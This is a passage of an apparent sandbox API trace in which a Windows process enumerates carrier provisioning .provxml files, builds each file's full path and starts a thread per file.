ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="228__C~1.PRO")) returned 1 [0178.024] wcscmp (_String1="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.024] wcscmp (_String1="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.024] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x2fef9b0 [0178.024] wcscpy (in: _Dest=0x2fef9b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.024] wcscat (in: _Dest=0x2fef9b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.024] wcscat (in: _Dest=0x2fef9b0, _Source="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" [0178.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fef9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0178.025] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="229__C~1.PRO")) returned 1 [0178.025] wcscmp (_String1="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.025] wcscmp (_String1="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.025] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x2fefc40 [0178.025] wcscpy (in: _Dest=0x2fefc40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.025] wcscat (in: _Dest=0x2fefc40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.025] wcscat (in: _Dest=0x2fefc40, _Source="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" [0178.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fefc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0178.026] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="22__CO~1.PRO")) returned 1 [0178.026] wcscmp (_String1="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.026] wcscmp (_String1="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.026] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x4f009e8 [0178.026] wcscpy (in: _Dest=0x4f009e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.026] wcscat (in: _Dest=0x4f009e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.026] wcscat (in: _Dest=0x4f009e8, _Source="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" [0178.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f009e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0178.027] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="230__C~1.PRO")) returned 1 [0178.027] wcscmp (_String1="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.027] wcscmp (_String1="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.027] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f001d8 [0178.027] wcscpy (in: _Dest=0x4f001d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.027] wcscat (in: _Dest=0x4f001d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.027] wcscat (in: _Dest=0x4f001d8, _Source="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" [0178.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f001d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0178.028] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="231__C~1.PRO")) returned 1 [0178.028] wcscmp (_String1="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.028] wcscmp (_String1="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.028] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2fef538 [0178.028] wcscpy (in: _Dest=0x2fef538, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.028] wcscat (in: _Dest=0x2fef538, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.028] wcscat (in: _Dest=0x2fef538, _Source="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml" [0178.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fef538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0178.029] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="232__C~1.PRO")) returned 1 [0178.029] wcscmp (_String1="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.029] wcscmp (_String1="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f00b40 [0178.029] wcscpy (in: _Dest=0x4f00b40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.029] wcscat (in: _Dest=0x4f00b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.029] wcscat (in: _Dest=0x4f00b40, _Source="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" [0178.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0178.030] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="233__C~1.PRO")) returned 1 [0178.030] wcscmp (_String1="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.030] wcscmp (_String1="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x2ff03f0 [0178.030] wcscpy (in: _Dest=0x2ff03f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.030] wcscat (in: _Dest=0x2ff03f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.030] wcscat (in: _Dest=0x2ff03f0, _Source="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" [0178.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff03f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0178.031] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="234__C~1.PRO")) returned 1 [0178.031] wcscmp (_String1="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.031] wcscmp (_String1="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2fa0b10 [0178.031] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.031] wcscat (in: _Dest=0x2fa0b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.031] wcscat (in: _Dest=0x2fa0b10, _Source="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" [0178.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0178.031] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="235__C~1.PRO")) returned 1 [0178.031] wcscmp (_String1="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.032] wcscmp (_String1="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2ff0538 [0178.032] wcscpy (in: _Dest=0x2ff0538, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.032] wcscat (in: _Dest=0x2ff0538, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.032] wcscat (in: _Dest=0x2ff0538, _Source="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" [0178.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0178.032] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x0, dwReserved1=0x0, cFileName="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="236__C~1.PRO")) returned 1 [0178.032] wcscmp (_String1="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.032] wcscmp (_String1="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2ff0680 [0178.032] wcscpy (in: _Dest=0x2ff0680, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.033] wcscat (in: _Dest=0x2ff0680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.033] wcscat (in: _Dest=0x2ff0680, _Source="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" [0178.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0178.033] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="237__C~1.PRO")) returned 1 [0178.033] wcscmp (_String1="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.033] wcscmp (_String1="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fefd88 [0178.033] wcscpy (in: _Dest=0x2fefd88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.033] wcscat (in: _Dest=0x2fefd88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.034] wcscat (in: _Dest=0x2fefd88, _Source="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 